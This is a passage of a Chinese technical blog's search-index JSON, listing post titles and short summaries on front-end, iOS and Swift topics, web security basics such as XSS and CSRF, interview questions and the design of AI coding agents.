语法的框架越来越多，但与之缘分最深的毫无疑问仍然是 React。\n2013 年，当 React 带着 JSX 横空出世时，社区曾对 JSX 有过不少的争议，但如今，越来越多的人面对 JSX 都要说上一句“真香”！我们就来一起认识下这个“真香”的 JSX，聊一聊“JSX 代码是如何‘摇身一变’成为 DOM 的”。\n开始之前请先思考几个问题：\nJSX 的本质是什么，它和 JS 之间到底是什么关系？ 为什么要用 JSX？不用会有什么后果？ JSX 背后的功能模块是什么，这个功能模块都做了哪些事情？ 面对以上问题，如果无法形成清晰且系统的思路，那么很可能是把 JSX 想得过于简单 …","title":"JSX"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/performance/performance-001/","summary":"渲染流程 首先要了解的概念:\n渲染引擎：它是浏览器最核心的部分是 “Rendering Engine”，不过我们一般习惯将之称为 “浏览器内核” 渲染引擎主要包括的线程： 各个线程主要职责：\nGUI渲染线程：GUI 渲染线程负责渲染浏览器界面，解析 HTML，CSS，构建 DOM 树和 RenderObject 树，布局和绘制等。当界面需要重绘（Repaint）或由于某种操作引发回流（Reflow）时，该线程就会执行。 JavaScript引擎线程: JavaScript 引擎线程主要负责解析 JavaScript 脚本并运行相关代码。 JavaScript 引擎在一个Tab页 …","title":"浏览器渲染过程"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/network/network-001/","summary":"区分进程和线程 线程和进程区分不清，是很多新手都会犯的错误，没有关系。这很正常。先看看下面这个形象的比喻：\n- 进程是一个工厂，工厂有它的独立资源 - 工厂之间相互独立 - 线程是工厂中的工人，多个工人协作完成任务 - 工厂内有一个或多个工人 - 工人之间共享空间 再完善完善概念：\n- 工厂的资源 -\u0026amp;gt; 系统分配的内存（独立的一块内存） - 工厂之间的相互独立 -\u0026amp;gt; 进程之间相互独立 - 多个工人协作完成任务 -\u0026amp;gt; 多个线程在进程中协作完成任务 - 工厂内有一个或多个工人 -\u0026amp;gt; 一个进程由一个或多个线程组成 - 工人之间共享空间 -\u0026amp;gt; 同一进程下的各个线程之间共享 …","title":"浏览器的进程和线程"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-001/","summary":"一、模块化的理解 1.什么是模块? 将一个复杂的程序依据一定的规则(规范)封装成几个块(文件), 并进行组合在一起 块的内部数据与实现是私有的, 只是向外部暴露一些接口(方法)与外部其它模块通信 2.模块化的进化过程 全局function模式 : 将不同的功能封装成不同的全局函数\n编码: 将不同的功能封装成不同的全局函数 问题: 污染全局命名空间, 容易引起命名冲突或数据不安全，而且模块成员之间看不出直接关系 function m1(){ //... } function m2(){ //... } namespace模式 : 简单对象封装\n作用: 减少了全局变量，解决命名冲突 问题: 数据不 …","title":"前端模块化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-001/","summary":"一、思考 我们都听过知其然知其所以然这句话\n那么不知道大家是否思考过new Vue()这个过程中究竟做了些什么？\n过程中是如何完成数据的绑定，又是如何将数据渲染到视图的等等\n一、分析 首先找到vue的构造函数\n源码位置：src\\core\\instance\\index.js\nfunction Vue (options) { if (process.env.NODE_ENV !== \u0026amp;#39;production\u0026amp;#39; \u0026amp;amp;\u0026amp;amp; !(this instanceof Vue) ) { warn(\u0026amp;#39;Vue is a constructor and should be …","title":"Vue实例挂载"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/es6/let-const/","summary":"Var 在 ES6 出现之前，必须使用 var 声明。但是，前端开发出现的一些问题与使用 var 声明的变量有关。这就是为什么必须要有新的方法来声明变量。首先，让我们在讨论这些问题之前更多地了解 var。\nvar 的作用域 作用域本质上是指变量/函数可供访问的范围。var可以在全局范围声明或函数/局部范围内声明。\n当在最外层函数的外部声明var变量时，作用域是全局的。这意味着在最外层函数的外部用var声明的任何变量都可以在windows中使用。\n当在函数中声明var时，作用域是局部的。这意味着它只能在函数内访问。\n要进一步了解，请查看下面的示例。\nvar greeter = \u0026amp;#39;hey …","title":"Let/Const"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/security/security-001/","summary":"一、简述 跨站脚本（Cross-site scripting，简称为：CSS, 但这会与层叠样式表（Cascading Style Sheets，CSS）的缩写混淆。因此，跨站脚本攻击缩写为XSS）是一种网站应用程序的安全漏洞攻击。\nXSS攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java、 VBScript、 LiveScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后，攻击者可能得到包括但不限于更高的权限（如执行一些操作 …","title":"XSS防御"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-001/","summary":"前言 请讲下 JavaScript 中的数据类型？\n前端面试中，估计大家都被这么问过。\n答：Javascript 中的数据类型包括原始类型和引用类型。其中原始类型包括 Null、Undefined、Boolean、String、Symbol、BigInt。引用类型指的是 Object。\n没错，我也是这么回答的，只是这通常是第一个问题，由这个问题可以引出很多很多的问题，比如\nNull 和 Undefined 有什么区别？前端的判空有哪些需要注意的？ typeof null 为什么是 object? 为什么 ES6 要提出 Symbol？ BigInt 解决了什么问题？ 为什么 0.1 + 0.2 …","title":"数据类型"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/css-001/","summary":"前端盒子模型是网页布局的基础概念，对于前端开发者来说，理解盒子模型是至关重要的。\n1. 盒子模型的组成部分 内容（Content）:\n盒子中实际显示的文本或图像部分。内容区的大小由 width 和 height 属性确定。 内边距（Padding）:\n内容与边框之间的空间。它用于增加内容与边框之间的距离，可以通过 padding、padding-top、padding-right、padding-bottom 和 padding-left 属性进行设置。 边框（Border）:\n环绕在内边距和内容周围的边界。可以设置边框的宽度、样式和颜色。相关属性包括 …","title":"盒子模型"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/html/html-001/","summary":"HTML5 新特性 语义标签 增强型表单 视频和音频 Canvas绘图 SVG绘图 地理定位 拖拽API WebWorker WebStorage WebSocket 语义标签 语义化标签使得页面的内容结构化，可以使开发者更方便清晰地构建页面的布局\n标签 描述 \u0026amp;lt;header\u0026amp;gt; 定义了文档的头部区域 \u0026amp;lt;footer\u0026amp;gt; 定义了文档的尾部区域 \u0026amp;lt;nav\u0026amp;gt; 定义文档的导航 \u0026amp;lt;section\u0026amp;gt; 定义文档中的书 \u0026amp;lt;acticle\u0026amp;gt; 定义页面独立的内容区域 \u0026amp;lt;aside\u0026amp;gt; 定义页面侧边栏内容 \u0026amp;lt;details\u0026amp;gt; 定义用户可 …","title":"HTML 5 新特性"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/swiftinterviewsourcecode/generics-protocol-dispatch/","summary":"Swift 面试：泛型、协议与派发源码解析 Swift 面试里，泛型和协议经常不是单独问语法，而是连着问：Swift 中函数派发机制有哪几种？泛型是编译期还是运行期机制？协议调用为什么可能慢？some 和 any 为什么性能不同？Protocol Witness Table 到底是什么？\n这篇文章按面试题展开，把答案落到 Swift 编译器里的 Generic Signature、Generic Specializer、SIL 调用指令、Protocol Witness Table、class vtable 和 Devirtualize 优化。\n面试高频问题 Swift 中函数派发机制有哪几种 …","title":"Swift 面试：泛型、协议与派发源码解析"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/overview/","summary":" 理解一个伟大系统的算法思想，远比学会使用它更重要。\n本仓库包含一本完整的技术书籍（16 章 + 前言），从 Claude Code 近 5000 行的主入口文件和数十个模块中提炼算法思想，以思想驱动、源码印证的方法论，系统讲解如何构建生产级 AI Agent。\n适合读者 应用开发者 — 学会将 Agent 思维方式融入产品 AI 工程师 — 获得经过生产验证的 Agent 架构参考 系统架构师 — 理解安全性、性能、可扩展性之间的精妙平衡 技术管理者 — 理解 Agent 系统的复杂性本质 全书目录 第一部分：Agent 思想基础 章节 主题 核心内容 第 1 章 Agent 的本质 从程序 …","title":"《解构 Claude Code：AI Agent 的算法思想》"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/ocsourcecodeanalysis/message-send-explained/","summary":"objc4 runtime dispatch\nObjective-C 消息发送：objc_msgSend 与慢速查找入口 Objective-C 的方法调用本质上是一次以 receiver 和 SEL 为键的动态派发。 在 arm64 上，objc_msgSend 先用少量汇编完成 nil/tagged pointer 判断和方法缓存查找； 只有缓存未命中时，才进入 C++ 慢路径 lookUpImpOrForward，沿类层级查找、触发动态解析、填充缓存或进入消息转发。\n入口：runtime/Messengers.subproj/objc-msg-arm64.s 慢路径 …","title":"Objective-C 消息发送 objc_msgSend 与慢速查找入口"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/cocostennis/part-two/","summary":"在3D球场项目 (一)中，我们搞定了 3D 资产，也选定了落地框架。但是这不代表我们可以直接使用，这个作为的弹幕引擎的一部引入的 Cocos，是有一些定制逻辑在的。我们需要抽丝剥茧的先了解这个弹幕系统做了什么，再来制定具体的实施方案。\n视频弹幕引擎 腾讯视频的弹幕引擎作为一个悠久的项目，支撑了腾讯视频大量的互动活动。弹幕引擎框架也是几经迭代，从最早的原生版本，到 PAG，再到现在的 Cocos Creator版本。\n之所以想要使用 Cocos 来替换原来的方案，是因为有以下两大优势：\n能力强： 支持完善的图形渲染、运动、物理、粒子、3D、光照等游戏引擎能力，充分利用游戏引擎所提供的这些能力，可 …","title":"3D球场项目 (二)"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-apm/c%E7%AB%AFsdk%E6%9E%B6%E6%9E%84/","summary":"iOS APM SDK 是整个系统的数据入口。它运行在真实用户设备上，和业务 App 共进程、共资源、共生命周期，所以设计目标不是“能力越多越好”，而是 低开销、可控制、可降级、可追责、可合规。\n一、SDK 职责边界 SDK 应该做：\n采集 Crash、Watchdog、FOOM、卡顿、启动、网络、页面、MetricKit、业务 Trace 等现场。 生成并维护 session_id、view_id、action_id、resource_id、trace_id 等关联 ID。 做轻量预处理：去重、聚合、脱敏、采样、压缩、加密。 按数据价值分级落盘和上报。 接收远程配置，动态控制模块开关、采样率 …","title":"APM-C端SDK架构"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ai/ai%E7%BC%96%E7%A8%8B%E5%B7%A5%E5%85%B7/","summary":"AI编程工具正在重塑软件开发的工作方式。从简单的代码补全到自主完成复杂任务的编程Agent，这个领域在短短两三年内经历了巨大的变化。本文梳理AI编程工具的核心概念、工作原理和实践方法。\n一、AI编程工具的演进 1.1 三代AI编程工具 graph LR G1[\u0026#34;第一代代码补全Copilot (2021)\u0026#34;] --\u0026gt; G2[\u0026#34;第二代对话式编程ChatGPT (2022)\u0026#34;] G2 --\u0026gt; G3[\u0026#34;第三代编程AgentCursor/Devin (2024+)\u0026#34;] 代际 交互方式 能力范围 代表产品 第一代 行内补全，按Tab接受 单行/单函数级别 GitHub Copilot 第二代 对话框问答 …","title":"AI编程工具"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-source-analysis/alamofire%E6%BA%90%E7%A0%81%E5%AF%BC%E8%AF%BB/","summary":"Alamofire 是 Swift 社区最广泛使用的 HTTP 网络库，由 Alamofire Software Foundation 维护，在 GitHub 已收获 42k+ star。它在 URLSession 之上构建了一整套链式 API、拦截器、认证、证书校验、重试与响应序列化等能力。本文基于最新版本 v5.11.2（2026 年 4 月发布）源码进行分析，覆盖 Swift 6 严格并发、async/await、WebSocket、OfflineRetrier 等最新特性。\n一、整体架构 Alamofire 采用中央调度 + 状态机 + 协议导向的设计，核心角色分工清晰：\ngraph …","title":"Alamofire源码导读"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/block%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86/","summary":"基础概念 Block 是 Apple 在 C 语言基础上扩展的语法特性（也称为 Closure / 闭包），它允许将一段代码和其执行时需要的上下文环境封装为一个可传递的对象。Block 在 Objective-C 和 C/C++ 中均可使用，是 GCD、动画 API、回调等场景的核心机制。\n// Block 的声明与调用 void (^myBlock)(NSString *) = ^(NSString *name) { NSLog(@\u0026amp;#34;Hello, %@\u0026amp;#34;, name); }; myBlock(@\u0026amp;#34;World\u0026amp;#34;); 一个核心问题是：Block 是函数指针还是对象 …","title":"Block底层原理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-design/principles/kiss%E5%8E%9F%E5%88%99/","summary":"什么是KISS原则？ KISS（Keep It Simple, Stupid）原则是软件工程中最重要的设计原则之一。它的核心理念是：简单的解决方案比复杂的解决方案更好。\n核心思想 简单不等于简陋 KISS 原则强调的\u0026amp;quot;简单\u0026amp;quot;是指：\n易于理解：代码的意图一目了然 易于修改：改动时不会牵一发而动全身 易于调试：出问题时容易定位原因 易于测试：测试用例简单直接 简单不意味着功能缺失或代码草率，而是用最直接的方式解决问题。\n复杂性的代价 不必要的复杂性会带来：\n更高的学习成本：新成员需要更长时间理解代码 更多的 bug：复杂逻辑更容易出错 更难维护：修改一处可能影响多处 更慢的开发 …","title":"KISS原则"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-cross-platform/kmp/","summary":"KMP（Kotlin Multiplatform）是 JetBrains 推出的跨平台代码共享方案。它与 Flutter、React Native 的\u0026amp;quot;一套代码一套 UI\u0026amp;quot;思路不同，走的是\u0026amp;quot;业务逻辑共享，UI 原生\u0026amp;ldquo;的路线：Kotlin 写的网络、数据库、ViewModel、业务规则等代码编译成 iOS/Android/HarmonyOS/Web 可直接使用的二进制产物，而 UI 仍然由各平台原生框架（SwiftUI/UIKit、Jetpack Compose、ArkUI、DOM/Compose Web）自己实现。2023 年 11 月 KMP 正式 …","title":"KMP（Kotlin Multiplatform）详解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-architecture/mvi/","summary":"什么是MVI MVI（Model-View-Intent）是一种单向数据流架构模式。\u0026amp;ldquo;Model-View-Intent\u0026amp;quot;这一命名最早出现在Andre Medeiros（Staltz）创建的JavaScript框架Cycle.js中。2016年，Hannes Dorfmann在其博客系列中将MVI系统化引入Android开发，他在文中明确提到同时受到了Cycle.js和Redux（以及更早的Elm架构）的启发——MVI的命名和响应式理念来自Cycle.js，而Reducer纯函数和单一状态源的机制则与Redux一脉相承。随着Swift社区对函数式编程和响应式编程的接受度提 …","title":"MVI架构详解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-advanced/oop-pop-aop/","summary":"在iOS开发中，经常会接触到三种重要的编程范式：面向对象编程（OOP）、面向协议编程（POP）和面向切面编程（AOP）。\nOOP - 面向对象编程 基本概念 面向对象编程（Object-Oriented Programming）是一种以对象为核心的编程范式。它将数据和操作数据的方法封装在一起，形成对象。\nOOP的四大核心特性：\n特性 说明 iOS中的体现 封装 隐藏内部实现细节，只暴露必要的接口 @interface/@implementation分离，private属性 继承 子类继承父类的属性和方法 UIViewController继承自UIResponder 多态 同一接口可以有不同的实 …","title":"OOP、POP与AOP"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E5%8D%95%E4%BE%8B%E6%A8%A1%E5%BC%8F/","summary":"定义 单例模式（Singleton Pattern）是一种创建型设计模式，它确保一个类只有一个实例，并提供一个全局访问点来获取该实例。\n单例模式的核心要点：\n唯一性：整个应用程序生命周期内只存在一个实例 全局访问：提供一个全局访问点获取该实例 懒加载：通常在第一次使用时才创建实例 为什么需要单例模式 单例模式要解决的核心问题是：确保某个类在整个应用中只有一个实例，并提供全局访问点。\n问题场景：假设我们正在开发一个App，需要管理用户的登录状态和用户信息。\n如果不使用单例，可能会遇到这样的问题：\nclass UserManager { var currentUser: User? var …","title":"单例模式"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/launch-initializers/","summary":"Initializers是指在main函数之前执行的初始化代码，包括C++静态构造函数和__attribute__((constructor))标记的函数。这些代码会在Pre-main阶段同步执行，阻塞启动。\n问题分析 以下代码会在main之前执行：\n1. C++静态构造函数 __attribute__((constructor)) static void MyInitializer() { // 耗时初始化 initializeHeavyResource(); } 2. 全局静态变量的构造函数 // 全局静态变量 static std::vector\u0026amp;lt;std::string\u0026amp;gt; …","title":"启动优化-Initializers"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-build/cocoapods%E4%BC%98%E5%8C%96/","summary":"在 iOS 生态中，CocoaPods 依然是大多数中大型工程的依赖管理工具。当 Pod 数量达到几百个子组件上千个时，pod install 的耗时会变成研发流程里的硬性卡点。抖音在其 seer-optimize 项目中系统化地优化了 CocoaPods 的整个生命周期，全量 Pod Install 耗时减少 50%、增量减少 65%。本文系统介绍这些优化背后的原理。\n关于 CocoaPods 整体架构的深度介绍可以参考 CocoaPods源码导读-架构总览。\nPod Install 耗时构成 Installer#install! 的六个阶段：\nflowchart LR A[prepare] …","title":"编译优化-CocoaPods优化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-95/round-160/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮概述： 该轮面试主要考察了浏览器的工作原理、缓存策略、跨域、Vue生命周期、组件通信等方面的知识。题目涉及理论知识和实际应用场景。\n本轮共 14 道题。答案默认折叠，便于先自行作答。\n1. 详细讲一下从url输入网址到页面渲染的过程 题库原题：简单描述从输入网址到页面显示的过程\n题目要点 当输入URL到页面加载完成，发生了以下几个关键过程：\nDNS解析：浏览器将URL解析为对应的IP地址。这个过程涉及多级DNS服务器，从本地缓存开始，如果没有找到，则递归查询根域名服务器、顶级域名服务器，直到找到目标服务器的IP地址。 TCP连接：浏 …","title":"小红书-社招-5年 · 第 2 轮 · 技术面试"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-94/round-157/","summary":" ← 第 1 轮 · 返回本次面经 · 第 3 轮 →\n本轮概述： 这一轮主要考察了小程序的性能优化、核心监控指标、首屏时间的计算、业务价值验证、高频事件处理等方面的知识。\n本轮共 11 道题。答案默认折叠，便于先自行作答。\n1. 小程序性能优化做了哪些事情？ 题库原题：小程序可以做哪些性能优化？\n题目要点 小程序性能优化围绕逻辑层与视图层分离架构展开，重点是减少 setData 频率与数据体积，控制列表节点数量，优化首包体积与启动链路，并通过分包加载、WXS 与懒加载等手段降低渲染压力。核心原则是减少跨线程通信与避免无意义重渲染，从架构层面解决性能瓶颈。\n参考答案 小程序的性能优化，不能只从 …","title":"小红书-社招-3年 · 第 2 轮 · 技术面试"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-93/round-155/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮概述： 这一轮主要考察了项目经验和技术选型，包括Vue3+TS的选择理由、UI框架的优势、TypeScript的应用、组件化方案、Canvas离屏渲染、Service Worker等内容。\n本轮共 14 道题。答案默认折叠，便于先自行作答。\n1. 讲一下你觉的最有成就感的项目 题目要点 实际问题, 创新性, 用户价值, 项目背景, 技术选型, 实现过程, 最终效果, 亮点, 贡献\n参考答案 最有成就感的项目通常是那些能够解决实际问题、具有创新性并且对用户有显著价值的项目。在回答这个问题时，可以从项目的背景、目标、技术选型、实现过程以 …","title":"小红书-社招-1年 · 第 2 轮 · 技术面试"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-76/round-122/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： 本次面试主要考察小程序、前端基础及算法等方面的知识。\n本轮共 17 道题。答案默认折叠，便于先自行作答。\n1. 讲一下你的小程序项目 题目要点 这是一个典型的主观型问题，没有唯一的标准答案。面试官主要考察候选人的项目经验、技术选型能力、问题解决能力以及对小程序生态的整体理解。 答题时建议围绕项目背景、个人职责、技术挑战与解决方案、项目成果与思考等方面展开，体现出系统性和条理性。 参考答案 在我的某某项目中，我主要负责开发一个基于微信小程序的某某功能模块，比如一个校园服务小程序，其中我负责了课程表、成绩查询以及校园活动发布的功 …","title":"字节-技术中台-校招 · 第 2 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-75/round-120/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： 本次面试主要考察前端基础（CSS布局、JavaScript原型链）、React框架深入理解（虚拟DOM、性能优化）、设计模式应用以及算法能力。\n本轮共 13 道题。答案默认折叠，便于先自行作答。\n1. 实现一个三栏布局，左右两侧固定宽度，中间区域自适应 题目要点 面试官出这道题主要想确认哪些知识维度？ 考生对CSS布局（如Flexbox, Grid, 浮动, 定位, 表格布局等）的掌握程度。 考生如何处理不同元素之间的空间分配和自适应能力。 该题所考知识点中有哪些高频实际应用点？ 页面整体布局，如经典后台管理系统布局（侧边栏 …","title":"字节跳动-商业化-校招 · 第 2 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-55/round-85/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n面试时间： 60分钟\n本轮共 16 道题。答案默认折叠，便于先自行作答。\n1. 前端和后端有什么区别？ 题目要点 职责分工不同，前端关注用户体验，后端关注业务逻辑，但需要密切协作完成产品开发。\n参考答案 前端和后端在职责、技术栈、关注点等方面都有明显区别。前端主要负责用户界面和交互体验，使用HTML、CSS、JavaScript等技术，关注的是如何让用户更好地使用产品。后端则负责业务逻辑处理、数据存储、系统架构等，使用Java、Python、Node.js等语言，关注的是系统的稳定性、安全性和性能。\n工作内容上，前端需要将设计稿转化为可 …","title":"京东-物流-秋招 · 第 2 轮 · 第二轮"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/network/network-002/","summary":"V8 是 Google 开发的 JavaScript 引擎（用于 Chrome、Node.js 等），它的核心优化机制可以总结为：即时编译（JIT） + 隐式类型优化 + 内联缓存 + 垃圾回收机制，通过这些方式来大幅提升 JS 的执行性能。\n一、V8 的执行流程 V8 不直接解释执行 JavaScript，而是：\n解析（Parser）：将 JS 源码解析为 AST（抽象语法树） 生成字节码（Bytecode）：由 Ignition 引擎生成并执行初始字节码 收集类型信息（Profiler）：运行时收集变量类型、函数调用等信息 优化编译（JIT）：将热点代码交给 TurboFan 引擎编译为高 …","title":"V8 引擎的优化机制"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/react/react-002/","summary":"React 中的元素、组件、实例和节点，是React中关系密切的4个概念，也是很容易让React 初学者迷惑的4个概念。现在，老干部就来详细地介绍这4个概念，以及它们之间的联系和区别，满足喜欢咬文嚼字、刨根问底的同学（老干部就是其中一员）的好奇心。\n元素 (Element) React 元素其实就是一个简单JavaScript对象，一个React 元素和界面上的一部分DOM对应，描述了这部分DOM的结构及渲染效果。一般我们通过JSX语法创建React 元素，例如：\nconst element = \u0026amp;lt;h1 className=\u0026amp;#39;greeting\u0026amp;#39;\u0026amp;gt;Hello, …","title":"元素、组件、实例和节点"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/performance/performance-002/","summary":"一、前言 缓存可以说是性能优化中简单高效的一种优化方式了。一个优秀的缓存策略可以缩短网页请求资源的距离，减少延迟，并且由于缓存文件可以重复利用，还可以减少带宽，降低网络负荷。\n对于一个数据请求来说，可以分为发起网络请求、后端处理、浏览器响应三个步骤。浏览器缓存可以帮助我们在第一和第三步骤中优化性能。比如说直接使用缓存而不发起请求，或者发起了请求但后端存储的数据和前端一致，那么就没有必要再将数据回传回来，这样就减少了响应数据。\n接下来的内容中我们将通过缓存位置、缓存策略以及实际场景应用缓存策略来探讨浏览器缓存机制。\n如需获取思维导图或想阅读更多优质文章请猛戳GitHub博客\n二、缓存位置 从缓存 …","title":"浏览器的缓存机制"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-002/","summary":"JS中的类型判断也是咱的老朋友了，如果要你说两句，那便是啥玩意typeof、instanceof的，张口就来，但你真的掌握了每一种类型判断，并熟知其原理吗？就比如说Object.prototype.toString.call()，当面试官问其中的 call有什么作用时，咱们又该如何游说呢。\ntypeof原理 所有的类型判断里当属typeof最为经典，其最为出名之处就是这玩意不顶用，typeof居然会将null判定为object，但这到底是什么原因？实际上，这就是JS这门编程语言的官方团队造出来的一个bug。\nlet s = \u0026amp;#39;123\u0026amp;#39; let n = 123 let f = …","title":"类型判断"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/css-002/","summary":"什么是伪类和伪元素？ 伪类：以冒号(:)开头，用于选择处于特定状态的元素。 伪元素：以双冒号(::)开头，用于在文档中插入虚构的元素。 这么说有点抽象，我们来看具体案例。例如下面的伪类语法表达的意思是：文档里的那些已经被用户访问过的 a 标签，当鼠标悬浮在它上面的时候，颜色为红色。\na:visited:hover { color: red; } 效果如下：\n可以看到，无论是 visited还是 hover，都表示了 a 标签的某种状态，选择器始终选择的是伪类前面的元素，只不过当出现伪类描述的状态时，样式才生效而已。\n注意，上面使用的是无痕浏览器打开的页面，是不可能出现 visited 状态的， …","title":"伪类和伪元素"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-002/","summary":"前言 vite比webpack快？\nvite比webpack简单？\n今天我们就来分析一下，到底有什么不一样的地方！\n定位 对比之前，我们先要搞懂，vite与webpack的定位以及关系才可以。\n那前端社区中常谈到的这些工具webpack、rollup、parcel、esbuild、vite、vue-cli、create-react-app、umi他们之间的关系是怎样的。\nwebpack、rollup、parcel、esbuild都是打包工具，代码写好之后，我们需要对代码进行压缩、合并、转换、分割、打包等操作，这些工作需要打包工具去完成。 vue-cli、create-react-app、umi …","title":"Webpack与Vite"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-002/","summary":"1. 定义 1.1 双向绑定 \u0026amp;amp; 单向绑定 vue的双向绑定，即数据与视图的响应式设计。具体表现为：View的改变能实时让Model发生变化，而Model的变化也能实时更新View。\n什么情况下用户可以更新View呢？如：填写表单。当用户填写表单时，View的状态就被更新了，如果此时MVVM框架可以自动更新Model的状态，那就相当于把Model和View做了双向绑定。\n注意区别：单向数据绑定，所有数据只有一份，一旦数据变化，就去更新页面(只有data\u0026amp;ndash;\u0026amp;gt;DOM，没有DOM\u0026amp;ndash;\u0026amp;gt;data)。\n用户在页面作出更新，需要用户手动收集(双向绑定是自动收集)， …","title":"数据绑定"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/security/security-002/","summary":"CSRF是什么 CSRF（Cross-site request forgery）跨站请求伪造：攻击者诱导受害者进入第三方网站，在第三方网站中，向被攻击网站发送跨站请求，利用受害者在被攻击网站已经获取的注册凭证，绕过后台的用户验证，达到冒充用户对被攻击的网站执行某项操作的目的。\n一个典型的CSRF攻击有着如下的流程：\n受害者登录a.com，并保留了登录凭证（Cookie）。 攻击者引诱受害者访问了b.com。 b.com 向 a.com 发送请求。 a.com接收到请求后，对请求进行验证，并确认是受害者的凭证，误以为是受害者自己发送的请求。 a.com以受害者的名义执行了这个请求。 攻击完成，攻 …","title":"CSRF攻击"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-002/","summary":"未见过的函数用法：\nfunction fun(strings,params1){ console.log(strings); console.log(params1) } fun`params1 = ${333}` // 输出分别为 // [\u0026amp;#39;params1 = \u0026amp;#39;, \u0026amp;#39;\u0026amp;#39;] // 333 不知道各位在学习或开发中有没有遇到过这样的函数调用方式呢？秉承着我没遇到的东西就要发文章来分享分享的原则，经过我查阅资料并加以学习，就让本文来带大家了解一下JS中的标签函数吧。\n模板字符串 标签函数的主要作用就是处理模板字符串，所以在了解标签函数之前先了解一下模板字符串（模板 …","title":"模版字符串"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/html/doctype/","summary":"DOCTYPE 是一个声明，位于 HTML 文档的最顶部，指示浏览器使用哪种 HTML 或 XHTML 版本来渲染页面。它的主要作用是确保浏览器以标准模式解析文档，从而避免不同浏览器间的渲染差异。正确使用 DOCTYPE 可以提升页面的兼容性和可访问性。\n\u0026amp;lt;!DOCTYPE\u0026amp;gt;声明应该位于HTML文档的第一行，紧接着是\u0026amp;lt;html\u0026amp;gt;标签。\n例如，对于 HTML5 文档，你只需写：\n\u0026amp;lt;!DOCTYPE html\u0026amp;gt; \u0026amp;lt;html lang=\u0026amp;#34;en\u0026amp;#34;\u0026amp;gt; \u0026amp;lt;head\u0026amp;gt; \u0026amp;lt;meta …","title":"DOCTYPE"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ai/claude-code-%E6%BA%90%E7%A0%81%E5%AF%BC%E8%AF%BB/","summary":" Claude Code 的 agent 到底是怎么被设计成一个能长时间工作、能分派子 agent、能记忆、能压缩上下文、也能可靠停下来的系统的？\nClaude Code 最值得研究的地方，不是它“能调用工具”，而是它把模型、工具、记忆、上下文、后台任务、hook 和权限系统编成了一个稳定的 agent harness。\n一句话概括：Claude Code 的 agent 不是一个模型循环，而是三层循环叠在一起：主 query 循环负责推理和工具回灌；工具循环负责受控执行和并发；任务循环负责子 agent、后台 agent、记忆整理和长任务生命周期。\nflowchart TD User[\u0026#34;用户 …","title":"Claude Code 源码导读：Agent 设计详解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/swiftinterviewsourcecode/value-semantics-cow-collections/","summary":"Swift 面试：值语义、COW 与集合源码解析 Swift 的 Array、String、Dictionary 都表现为值类型，但它们不可能每次赋值都完整复制底层存储。面试官问值语义和 COW，真正想看的是你能不能说清楚：值语义是语言语义，COW 是性能实现；集合表面是 struct，底层经常共享引用存储；写入前靠唯一性检查决定是否复制。\n这篇文章从面试题出发，把结论落到 Swift 标准库源码里的 Array buffer、String guts、Dictionary storage 和 isKnownUniquelyReferenced。\n面试高频问题 Swift 的 struct 为什 …","title":"Swift 面试：值语义、COW 与集合源码解析"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-01/","summary":" 